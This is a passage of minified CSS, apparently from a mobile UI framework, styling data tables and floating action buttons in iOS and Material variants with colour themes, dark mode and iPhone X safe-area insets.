a.icon-only,.ios .data-table th.actions-cell a.icon-only{width:18px;height:18px;line-height:18px}.ios .sortable-cell:not(.numeric-cell):after{margin-left:5px}.ios .sortable-cell.numeric-cell:before{margin-right:5px}.ios .card .data-table .card-footer,.ios .card .data-table .card-header,.ios .data-table.card .card-footer,.ios .data-table.card .card-header{padding-left:15px;padding-right:8px}.ios .data-table-title{font-size:17px;font-weight:600}.ios .data-table-actions a.link+a.link,.ios .data-table-links a.link+a.link{margin-left:15px}.ios .data-table-actions a.link.icon-only{width:44px;height:44px}.ios .data-table-actions i.f7-icons,.ios .data-table-actions i.icon{font-size:22px}.ios .data-table .card-header>.data-table-header,.ios .data-table .card-header>.data-table-header-selected{padding-top:10px;padding-bottom:10px;height:100%;padding-left:15px;padding-right:8px;margin-left:-15px;margin-right:-8px}.ios .data-table-header-selected{background:rgba(0,122,255,.1)}.ios .data-table-title-selected{color:#007aff}.ios .data-table tbody td:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table tbody td:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table tbody td:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios.device-desktop .data-table tbody tr:hover{background:#f7f7f8}.ios .data-table-footer{height:44px;color:#8e8e93}.ios .data-table-pagination a.link,.ios .data-table-rows-select a.link{width:44px;height:44px}.ios .data-table-rows-select+.data-table-pagination{margin-left:30px}.ios .data-table-rows-select .input{margin-left:20px}.ios .data-table-pagination-label{margin-right:15px}.ios .data-table-footer:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .input-cell{padding-top:8px;padding-bottom:8px;height:auto;vertical-align:top}.ios .input-cell .table-head-label+.input{margin-top:4px}.ios .input-cell .input{height:24px}.ios .input-cell .input input,.ios .input-cell .input select,.ios .input-cell .input textarea{height:24px;color:#000;font-size:14px}@media (max-width:480px) and (orientation:portrait){.ios .data-table.data-table-collapsible td:not(.checkbox-cell):before{color:#8e8e93;font-weight:600}.ios .data-table-collapsible tr:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table-collapsible tr:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table-collapsible tr:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}}.data-table.ios .theme-dark tbody td:before,.ios .theme-dark .data-table tbody td:before{background-color:#282829}.data-table.ios .theme-dark.data-table-collapsible tr:before,.ios .theme-dark .data-table.data-table-collapsible tr:before{background-color:#282829}.data-table.ios .theme-dark tbody tr.data-table-row-selected,.ios .theme-dark .data-table tbody tr.data-table-row-selected{background-color:#363636}.ios.device-desktop .theme-dark .data-table tbody tr:hover,.ios.device-desktop .theme-dark.data-table tbody tr:hover{background:#363636}.ios .color-theme-red .data-table-header-selected,.ios .data-table-header-selected.color-red{background:rgba(255,59,48,.1)}.ios .color-red .data-table-title-selected,.ios .color-theme-red .data-table-title-selected{color:#ff3b30}.ios .color-theme-green .data-table-header-selected,.ios .data-table-header-selected.color-green{background:rgba(76,217,100,.1)}.ios .color-green .data-table-title-selected,.ios .color-theme-green .data-table-title-selected{color:#4cd964}.ios .color-theme-blue .data-table-header-selected,.ios .data-table-header-selected.color-blue{background:rgba(0,122,255,.1)}.ios .color-blue .data-table-title-selected,.ios .color-theme-blue .data-table-title-selected{color:#007aff}.ios .color-theme-pink .data-table-header-selected,.ios .data-table-header-selected.color-pink{background:rgba(255,45,85,.1)}.ios .color-pink .data-table-title-selected,.ios .color-theme-pink .data-table-title-selected{color:#ff2d55}.ios .color-theme-yellow .data-table-header-selected,.ios .data-table-header-selected.color-yellow{background:rgba(255,204,0,.1)}.ios .color-theme-yellow .data-table-title-selected,.ios .color-yellow .data-table-title-selected{color:#fc0}.ios .color-theme-orange .data-table-header-selected,.ios .data-table-header-selected.color-orange{background:rgba(255,149,0,.1)}.ios .color-orange .data-table-title-selected,.ios .color-theme-orange .data-table-title-selected{color:#ff9500}.ios .color-theme-gray .data-table-header-selected,.ios .data-table-header-selected.color-gray{background:rgba(142,142,147,.1)}.ios .color-gray .data-table-title-selected,.ios .color-theme-gray .data-table-title-selected{color:#8e8e93}.ios .color-theme-white .data-table-header-selected,.ios .data-table-header-selected.color-white{background:rgba(255,255,255,.1)}.ios .color-theme-white .data-table-title-selected,.ios .color-white .data-table-title-selected{color:#fff}.ios .color-theme-black .data-table-header-selected,.ios .data-table-header-selected.color-black{background:rgba(0,0,0,.1)}.ios .color-black .data-table-title-selected,.ios .color-theme-black .data-table-title-selected{color:#000}.md .data-table thead td,.md .data-table thead th{font-weight:500;height:56px;-webkit-box-sizing:border-box;box-sizing:border-box}.md .data-table thead td:not(.sortable-cell-active),.md .data-table thead th:not(.sortable-cell-active){color:rgba(0,0,0,.54)}.md .data-table thead i.icon,.md .data-table thead i.material-icons{font-size:16px;width:16px;height:16px}.md .data-table tbody{font-size:13px}.md .data-table tbody tr.data-table-row-selected{background:#f5f5f5}.md .data-table tbody td{height:48px}.md .data-table td,.md .data-table th{padding-left:28px;padding-right:28px}.md .data-table td.label-cell,.md .data-table th.label-cell{padding-left:24px;padding-right:24px}.md .data-table td:first-child,.md .data-table th:first-child{padding-left:24px}.md .data-table td:last-child,.md .data-table th:last-child{padding-right:24px}.md .data-table td.checkbox-cell,.md .data-table th.checkbox-cell{width:18px;padding-left:24px;padding-right:12px}.md .data-table td.checkbox-cell+td,.md .data-table td.checkbox-cell+th,.md .data-table th.checkbox-cell+td,.md .data-table th.checkbox-cell+th{padding-left:12px}.md .data-table td.actions-cell a.link,.md .data-table th.actions-cell a.link{color:rgba(0,0,0,.54)}.md .data-table td.actions-cell a.link+a.link,.md .data-table th.actions-cell a.link+a.link{margin-left:24px}.md .data-table td.actions-cell a.icon-only,.md .data-table th.actions-cell a.icon-only{width:24px;height:24px;line-height:24px}.md .sortable-cell:not(.numeric-cell):after{margin-left:8px}.md .sortable-cell.numeric-cell:before{margin-right:8px}.md .card .data-table .card-footer,.md .card .data-table .card-header,.md .data-table.card .card-footer,.md .data-table.card .card-header{padding-left:24px;padding-right:14px}.md .card .data-table .card-footer,.md .data-table.card .card-footer{height:56px}.md .data-table-title{font-size:20px}.md .data-table-actions a.link+a.link,.md .data-table-links a.link+a.link{margin-left:24px}.md .data-table-actions a.link{color:rgba(0,0,0,.54)}.md .data-table-actions a.link.icon-only{width:24px;height:24px;overflow:visible}.md .data-table-actions a.link.icon-only.active-state{background:0 0}.md .data-table .card-header>.data-table-header,.md .data-table .card-header>.data-table-header-selected{padding-left:24px;padding-right:14px;margin-left:-24px;margin-right:-14px;padding-top:4px;padding-bottom:4px;height:100%}.md .data-table-header-selected{background:rgba(33,150,243,.1)}.md .data-table-title-selected{color:#2196f3}.md .data-table tbody td:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table tbody td:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table tbody td:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md.device-desktop .data-table tbody tr:hover{background:#f5f5f5}.md .data-table-footer{height:56px;color:rgba(0,0,0,.54)}.md .data-table-pagination a.link,.md .data-table-rows-select a.link{width:48px;height:48px}.md .data-table-pagination a.link:before,.md .data-table-rows-select a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .data-table-pagination a.link.active-state:before,.md .data-table-rows-select a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .data-table-rows-select+.data-table-pagination{margin-left:32px}.md .data-table-rows-select .input{margin-left:24px}.md .data-table-pagination-label{margin-right:20px}.md .data-table-footer:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .input-cell{padding-top:8px;padding-bottom:8px;height:auto;vertical-align:top}.md .input-cell .table-head-label+.input{margin-top:4px}.md .input-cell .input{height:24px}.md .input-cell .input input,.md .input-cell .input select,.md .input-cell .input textarea{height:24px;color:#212121;font-size:14px}.md .input-cell .input .input-clear-button{-webkit-transform:scale(.8);transform:scale(.8)}@media (max-width:480px) and (orientation:portrait){.md .data-table.data-table-collapsible td{padding-left:16px;padding-right:16px}.md .data-table.data-table-collapsible td:not(.checkbox-cell):before{color:rgba(0,0,0,.54);font-weight:500;line-height:16px}.md .data-table-collapsible tr:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table-collapsible tr:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table-collapsible tr:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}}.data-table.md .theme-dark .data-table-actions a.link,.data-table.md .theme-dark td.actions-cell a.link,.data-table.md .theme-dark th.actions-cell a.link,.data-table.md .theme-dark thead td:not(.sortable-cell-active),.data-table.md .theme-dark thead th:not(.sortable-cell-active),.md .theme-dark .data-table .data-table-actions a.link,.md .theme-dark .data-table td.actions-cell a.link,.md .theme-dark .data-table th.actions-cell a.link,.md .theme-dark .data-table thead td:not(.sortable-cell-active),.md .theme-dark .data-table thead th:not(.sortable-cell-active){color:rgba(255,255,255,.54)}.data-table.md .theme-dark .data-table-links a.link:before,.md .theme-dark .data-table .data-table-links a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.data-table.md .theme-dark .data-table-links a.link.active-state:before,.md .theme-dark .data-table .data-table-links a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.data-table.md .theme-dark tbody td:before,.md .theme-dark .data-table tbody td:before{background-color:rgba(255,255,255,.08)}.data-table.md .theme-dark.data-table-collapsible tr:before,.md .theme-dark .data-table.data-table-collapsible tr:before{background-color:rgba(255,255,255,.08)}.data-table.md .theme-dark tbody tr.data-table-row-selected,.md .theme-dark .data-table tbody tr.data-table-row-selected{background-color:rgba(255,255,255,.05)}.md.device-desktop .theme-dark .data-table tbody tr:hover,.md.device-desktop .theme-dark.data-table tbody tr:hover{background-color:rgba(255,255,255,.05)}.md .color-theme-red .data-table-header-selected,.md .data-table-header-selected.color-red{background:rgba(244,67,54,.1)}.md .color-red .data-table-title-selected,.md .color-theme-red .data-table-title-selected{color:#f44336}.md .color-theme-green .data-table-header-selected,.md .data-table-header-selected.color-green{background:rgba(76,175,80,.1)}.md .color-green .data-table-title-selected,.md .color-theme-green .data-table-title-selected{color:#4caf50}.md .color-theme-blue .data-table-header-selected,.md .data-table-header-selected.color-blue{background:rgba(33,150,243,.1)}.md .color-blue .data-table-title-selected,.md .color-theme-blue .data-table-title-selected{color:#2196f3}.md .color-theme-pink .data-table-header-selected,.md .data-table-header-selected.color-pink{background:rgba(233,30,99,.1)}.md .color-pink .data-table-title-selected,.md .color-theme-pink .data-table-title-selected{color:#e91e63}.md .color-theme-yellow .data-table-header-selected,.md .data-table-header-selected.color-yellow{background:rgba(255,235,59,.1)}.md .color-theme-yellow .data-table-title-selected,.md .color-yellow .data-table-title-selected{color:#ffeb3b}.md .color-theme-orange .data-table-header-selected,.md .data-table-header-selected.color-orange{background:rgba(255,152,0,.1)}.md .color-orange .data-table-title-selected,.md .color-theme-orange .data-table-title-selected{color:#ff9800}.md .color-theme-gray .data-table-header-selected,.md .data-table-header-selected.color-gray{background:rgba(158,158,158,.1)}.md .color-gray .data-table-title-selected,.md .color-theme-gray .data-table-title-selected{color:#9e9e9e}.md .color-theme-white .data-table-header-selected,.md .data-table-header-selected.color-white{background:rgba(255,255,255,.1)}.md .color-theme-white .data-table-title-selected,.md .color-white .data-table-title-selected{color:#fff}.md .color-theme-black .data-table-header-selected,.md .data-table-header-selected.color-black{background:rgba(0,0,0,.1)}.md .color-black .data-table-title-selected,.md .color-theme-black .data-table-title-selected{color:#000}.fab{position:absolute;z-index:1500}.fab-buttons a,.fab>a{position:relative;-webkit-transition-duration:.3s;transition-duration:.3s;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;overflow:hidden;z-index:1}.fab>a i{position:absolute;left:50%;top:50%;-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);-webkit-transition:.3s;transition:.3s}.fab>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);opacity:0}.fab[class*=fab-center]{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.fab[class*=left-center],.fab[class*=right-center]{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.fab[class*=center-center]{top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.fab div.fab-buttons a{width:40px;height:40px}.fab-buttons{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;visibility:hidden;pointer-events:none;position:absolute}.fab-buttons a{opacity:0}.fab-opened:not(.fab-morph)>a i{-webkit-transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);opacity:0}.fab-opened:not(.fab-morph)>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);opacity:1}.fab-opened .fab-buttons{visibility:visible;pointer-events:auto}.fab-opened .fab-buttons a{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1)!important;transform:translate3d(0,0,0) scale(1)!important}.fab-opened .fab-buttons a:nth-child(2){-webkit-transition-delay:50ms;transition-delay:50ms}.fab-opened .fab-buttons a:nth-child(3){-webkit-transition-delay:.1s;transition-delay:.1s}.fab-opened .fab-buttons a:nth-child(4){-webkit-transition-delay:150ms;transition-delay:150ms}.fab-opened .fab-buttons a:nth-child(5){-webkit-transition-delay:.2s;transition-delay:.2s}.fab-opened .fab-buttons a:nth-child(6){-webkit-transition-delay:250ms;transition-delay:250ms}.fab-buttons-bottom,.fab-buttons-top{left:50%;width:40px;margin-left:-20px}.fab-buttons-top{bottom:100%;margin-bottom:16px;-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.fab-buttons-top a{-webkit-transform:translate3d(0,8px,0) scale(.3);transform:translate3d(0,8px,0) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-top a+a{margin-bottom:16px}.fab-buttons-bottom{top:100%;margin-top:16px;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.fab-buttons-bottom a{-webkit-transform:translate3d(0,-8px,0) scale(.3);transform:translate3d(0,-8px,0) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-bottom a+a{margin-top:16px}.fab-buttons-left,.fab-buttons-right{top:50%;height:40px;margin-top:-20px}.fab-buttons-left{right:100%;margin-right:16px;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.fab-buttons-left a{-webkit-transform:translate3d(8px,0,0) scale(.3);transform:translate3d(8px,0,0) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-buttons-left a+a{margin-right:16px}.fab-buttons-right{left:100%;margin-left:16px}.fab-buttons-right a{-webkit-transform:translate3d(-8px,0,0) scale(.3);transform:translate3d(-8px,0,0) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-right a+a{margin-left:16px}.fab-buttons-center{left:0;top:0;width:100%;height:100%}.fab-buttons-center a{position:absolute}.fab-buttons-center a:nth-child(1){left:50%;margin-left:-20px;bottom:100%;margin-bottom:16px;-webkit-transform:translateY(-8px) scale(.3);transform:translateY(-8px) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-center a:nth-child(2){left:100%;margin-top:-20px;top:50%;margin-left:16px;-webkit-transform:translateX(-8px) scale(.3);transform:translateX(-8px) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-center a:nth-child(3){left:50%;margin-left:-20px;top:100%;margin-top:16px;-webkit-transform:translateY(8px) scale(.3);transform:translateY(8px) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-center a:nth-child(4){right:100%;margin-top:-20px;top:50%;margin-right:16px;-webkit-transform:translateX(8px) scale(.3);transform:translateX(8px) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-opened.fab-morph>a i{opacity:0}.fab-morph,.fab-morph-target,.fab-morph>a{-webkit-transition-duration:250ms;transition-duration:250ms}.fab-morph-target:not(.fab-morph-target-visible){display:none}.fab-extended{width:auto}.fab-extended>a{width:100%!important}.fab-text{padding-left:20px;padding-right:20px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px;text-transform:uppercase}.fab-label-button{overflow:visible!important}.fab-label{position:absolute;top:50%;padding:4px 12px;border-radius:4px;background:#fff;color:#333;white-space:nowrap;-webkit-transform:translateY(-50%);transform:translateY(-50%);pointer-events:none}.fab[class*=fab-right-] .fab-label{right:100%;margin-right:8px}.fab[class*=fab-left-] .fab-label{left:100%;margin-left:8px}.ios .fab-buttons a,.ios .fab>a{background:#007aff;width:50px;height:50px;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.4);box-shadow:0 2px 4px rgba(0,0,0,.4);border-radius:25px;color:#fff}.ios .fab-buttons a.active-state,.ios .fab>a.active-state{-webkit-transition-duration:0s;transition-duration:0s;background:#0066d6}.ios .fab-buttons a i.icon,.ios .fab>a i.icon{font-size:21px}.ios .fab[class*=fab-left]{left:15px}.ios .fab[class*=fab-right]{right:15px}.ios .fab[class*="-top"]{top:15px}.ios .fab[class*="-bottom"]{bottom:15px}.ios .navbar~* .fab[class*="-top"],.ios .navbar~.fab[class*="-top"]{margin-top:44px}.ios .toolbar~* .fab[class*="-bottom"],.ios .toolbar~.fab[class*="-bottom"]{margin-bottom:44px}.ios .tabbar-labels~* .fab[class*="-bottom"],.ios .tabbar-labels~.fab[class*="-bottom"]{margin-bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .fab[class*="-bottom"],.ios .tabbar-labels~.fab[class*="-bottom"]{margin-bottom:56px}}.ios .fab-morph{border-radius:25px;background:#007aff;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.4);box-shadow:0 2px 4px rgba(0,0,0,.4)}.ios .fab-morph>a{-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.ios .fab-extended{min-width:50px}.ios .fab-extended>a{width:100%;height:50px}.ios .fab-extended>a i{left:25px}.ios .fab-extended i~.fab-text{padding-left:50px}.ios .fab-label{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.4);box-shadow:0 1px 2px rgba(0,0,0,.4)}.ios .color-theme-red .fab-buttons a,.ios .color-theme-red .fab>a,.ios .color-theme-red.fab-buttons a,.ios .color-theme-red.fab>a{background:#ff3b30}.ios .color-theme-red .fab-buttons a.active-state,.ios .color-theme-red .fab>a.active-state,.ios .color-theme-red.fab-buttons a.active-state,.ios .color-theme-red.fab>a.active-state{background:#ff1407}.ios .color-theme-red .fab-morph,.ios .color-theme-red.fab-morph{background:#ff3b30}.ios .color-theme-green .fab-buttons a,.ios .color-theme-green .fab>a,.ios .color-theme-green.fab-buttons a,.ios .color-theme-green.fab>a{background:#4cd964}.ios .color-theme-green .fab-buttons a.active-state,.ios .color-theme-green .fab>a.active-state,.ios .color-theme-green.fab-buttons a.active-state,.ios .color-theme-green.fab>a.active-state{background:#2cd048}.ios .color-theme-green .fab-morph,.ios .color-theme-green.fab-morph{background:#4cd964}.ios .color-theme-blue .fab-buttons a,.ios .color-theme-blue .fab>a,.ios .color-theme-blue.fab-buttons a,.ios .color-theme-blue.fab>a{background:#007aff}.ios .color-theme-blue .fab-buttons a.active-state,.ios .color-theme-blue .fab>a.active-state,.ios .color-theme-blue.fab-buttons a.active-state,.ios .color-theme-blue.fab>a.active-state{background:#0066d6}.ios .color-theme-blue .fab-morph,.ios .color-theme-blue.fab-morph{background:#007aff}.ios .color-theme-pink .fab-buttons a,.ios .color-theme-pink .fab>a,.ios .color-theme-pink.fab-buttons a,.ios .color-theme-pink.fab>a{background:#ff2d55}.ios .color-theme-pink .fab-buttons a.active-state,.ios .color-theme-pink .fab>a.active-state,.ios .color-theme-pink.fab-buttons a.active-state,.ios .color-theme-pink.fab>a.active-state{background:#ff0434}.ios .color-theme-pink .fab-morph,.ios .color-theme-pink.fab-morph{background:#ff2d55}.ios .color-theme-yellow .fab-buttons a,.ios .color-theme-yellow .fab>a,.ios .color-theme-yellow.fab-buttons a,.ios .color-theme-yellow.fab>a{background:#fc0}.ios .color-theme-yellow .fab-buttons a.active-state,.ios .color-theme-yellow .fab>a.active-state,.ios .color-theme-yellow.fab-buttons a.active-state,.ios .color-theme-yellow.fab>a.active-state{background:#d6ab00}.ios .color-theme-yellow .fab-morph,.ios .color-theme-yellow.fab-morph{background:#fc0}.ios .color-theme-orange .fab-buttons a,.ios .color-theme-orange .fab>a,.ios .color-theme-orange.fab-buttons a,.ios .color-theme-orange.fab>a{background:#ff9500}.ios .color-theme-orange .fab-buttons a.active-state,.ios .color-theme-orange .fab>a.active-state,.ios .color-theme-orange.fab-buttons a.active-state,.ios .color-theme-orange.fab>a.active-state{background:#d67d00}.ios .color-theme-orange .fab-morph,.ios .color-theme-orange.fab-morph{background:#ff9500}.ios .color-theme-gray .fab-buttons a,.ios .color-theme-gray .fab>a,.ios .color-theme-gray.fab-buttons a,.ios .color-theme-gray.fab>a{background:#8e8e93}.ios .color-theme-gray .fab-buttons a.active-state,.ios .color-theme-gray .fab>a.active-state,.ios .color-theme-gray.fab-buttons a.active-state,.ios .color-theme-gray.fab>a.active-state{background:#79797f}.ios .color-theme-gray .fab-morph,.ios .color-theme-gray.fab-morph{background:#8e8e93}.ios .color-theme-white .fab-buttons a,.ios .color-theme-white .fab>a,.ios .color-theme-white.fab-buttons a,.ios .color-theme-white.fab>a{background:#fff}.ios .color-theme-white .fab-buttons a.active-state,.ios .color-theme-white .fab>a.active-state,.ios .color-theme-white.fab-buttons a.active-state,.ios .color-theme-white.fab>a.active-state{background:#ebebeb}.ios .color-theme-white .fab-morph,.ios .color-theme-white.fab-morph{background:#fff}.ios .color-theme-black .fab-buttons a,.ios .color-theme-black .fab>a,.ios .color-theme-black.fab-buttons a,.ios .color-theme-black.fab>a{background:#000}.ios .color-theme-black .fab-buttons a.active-state,.ios .color-theme-black .fab>a.active-state,.ios .color-theme-black.fab-buttons a.active-state,.ios .color-theme-black.fab>a.active-state{background:#000}.ios .color-theme-black .fab-morph,.ios .color-theme-black.fab-morph{background:#000}.ios .fab .fab-buttons>a.color-red,.ios .fab-buttons.color-red a,.ios .fab.color-red .fab-buttons>a,.ios .fab.color-red>a,.ios .fab>a.color-red{background:#ff3b30}.ios .fab .fab-buttons>a.color-red.active-state,.ios .fab-buttons.color-red a.active-state,.ios .fab.color-red .fab-buttons>a.active-state,.ios .fab.color-red>a.active-state,.ios .fab>a.color-red.active-state{background:#ff1407}.ios .fab-morph.color-red{background:#ff3b30}.ios .fab .fab-buttons>a.color-green,.ios .fab-buttons.color-green a,.ios .fab.color-green .fab-buttons>a,.ios .fab.color-green>a,.ios .fab>a.color-green{background:#4cd964}.ios .fab .fab-buttons>a.color-green.active-state,.ios .fab-buttons.color-green a.active-state,.ios .fab.color-green .fab-buttons>a.active-state,.ios .fab.color-green>a.active-state,.ios .fab>a.color-green.active-state{background:#2cd048}.ios .fab-morph.color-green{background:#4cd964}.ios .fab .fab-buttons>a.color-blue,.ios .fab-buttons.color-blue a,.ios .fab.color-blue .fab-buttons>a,.ios .fab.color-blue>a,.ios .fab>a.color-blue{background:#007aff}.ios .fab .fab-buttons>a.color-blue.active-state,.ios .fab-buttons.color-blue a.active-state,.ios .fab.color-blue .fab-buttons>a.active-state,.ios .fab.color-blue>a.active-state,.ios .fab>a.color-blue.active-state{background:#0066d6}.ios .fab-morph.color-blue{background:#007aff}.ios .fab .fab-buttons>a.color-pink,.ios .fab-buttons.color-pink a,.ios .fab.color-pink .fab-buttons>a,.ios .fab.color-pink>a,.ios .fab>a.color-pink{background:#ff2d55}.ios .fab .fab-buttons>a.color-pink.active-state,.ios .fab-buttons.color-pink a.active-state,.ios .fab.color-pink .fab-buttons>a.active-state,.ios .fab.color-pink>a.active-state,.ios .fab>a.color-pink.active-state{background:#ff0434}.ios .fab-morph.color-pink{background:#ff2d55}.ios .fab .fab-buttons>a.color-yellow,.ios .fab-buttons.color-yellow a,.ios .fab.color-yellow .fab-buttons>a,.ios .fab.color-yellow>a,.ios .fab>a.color-yellow{background:#fc0}.ios .fab .fab-buttons>a.color-yellow.active-state,.ios .fab-buttons.color-yellow a.active-state,.ios .fab.color-yellow .fab-buttons>a.active-state,.ios .fab.color-yellow>a.active-state,.ios .fab>a.color-yellow.active-state{background:#d6ab00}.ios .fab-morph.color-yellow{background:#fc0}.ios .fab .fab-buttons>a.color-orange,.ios .fab-buttons.color-orange a,.ios .fab.color-orange .fab-buttons>a,.ios .fab.color-orange>a,.ios .fab>a.color-orange{background:#ff9500}.ios .fab .fab-buttons>a.color-orange.active-state,.ios .fab-buttons.color-orange a.active-state,.ios .fab.color-orange .fab-buttons>a.active-state,.ios .fab.color-orange>a.active-state,.ios .fab>a.color-orange.active-state{background:#d67d00}.ios .fab-morph.color-orange{background:#ff9500}.ios .fab .fab-buttons>a.color-gray,.ios .fab-buttons.color-gray a,.ios .fab.color-gray .fab-buttons>a,.ios .fab.color-gray>a,.ios .fab>a.color-gray{background:#8e8e93}.ios .fab .fab-buttons>a.color-gray.active-state,.ios .fab-buttons.color-gray a.active-state,.ios .fab.color-gray .fab-buttons>a.active-state,.ios .fab.color-gray>a.active-state,.ios .fab>a.color-gray.active-state{background:#79797f}.ios .fab-morph.color-gray{background:#8e8e93}.ios .fab .fab-buttons>a.color-white,.ios .fab-buttons.color-white a,.ios .fab.color-white .fab-buttons>a,.ios .fab.color-white>a,.ios .fab>a.color-white{background:#fff}.ios .fab .fab-buttons>a.color-white.active-state,.ios .fab-buttons.color-white a.active-state,.ios .fab.color-white .fab-buttons>a.active-state,.ios .fab.color-white>a.active-state,.ios .fab>a.color-white.active-state{background:#ebebeb}.ios .fab-morph.color-white{background:#fff}.ios .fab .fab-buttons>a.color-black,.ios .fab-buttons.color-black a,.ios .fab.color-black .fab-buttons>a,.ios .fab.color-black>a,.ios .fab>a.color-black{background:#000}.ios .fab .fab-buttons>a.color-black.active-state,.ios .fab-buttons.color-black a.active-state,.ios .fab.color-black .fab-buttons>a.active-state,.ios .fab.color-black>a.active-state,.ios .fab>a.color-black.active-state{background:#000}.ios .fab-morph.color-black{background:#000}.ios.device-iphone-x .fab[class*="-bottom"]{bottom:calc(15px + constant(safe-area-inset-bottom));bottom:calc(15px + env(safe-area-inset-bottom))}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .fab[class*=fab-left],.ios.device-iphone-x .ios-left-edge .fab[class*=fab-left],.ios.device-iphone-x .panel-left .fab[class*=fab-left],.ios.device-iphone-x .popup .fab[class*=fab-left],.ios.device-iphone-x .sheet-modal .fab[class*=fab-left]{left:calc(15px + constant(safe-area-inset-left));left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .fab[class*=fab-right],.ios.device-iphone-x .ios-right-edge .fab[class*=fab-right],.ios.device-iphone-x .panel-right .fab[class*=fab-right],.ios.device-iphone-x .popup .fab[class*=fab-right],.ios.device-iphone-x .sheet-modal .fab[class*=fab-right]{right:calc(15px + constant(safe-area-inset-right));right:calc(15px + 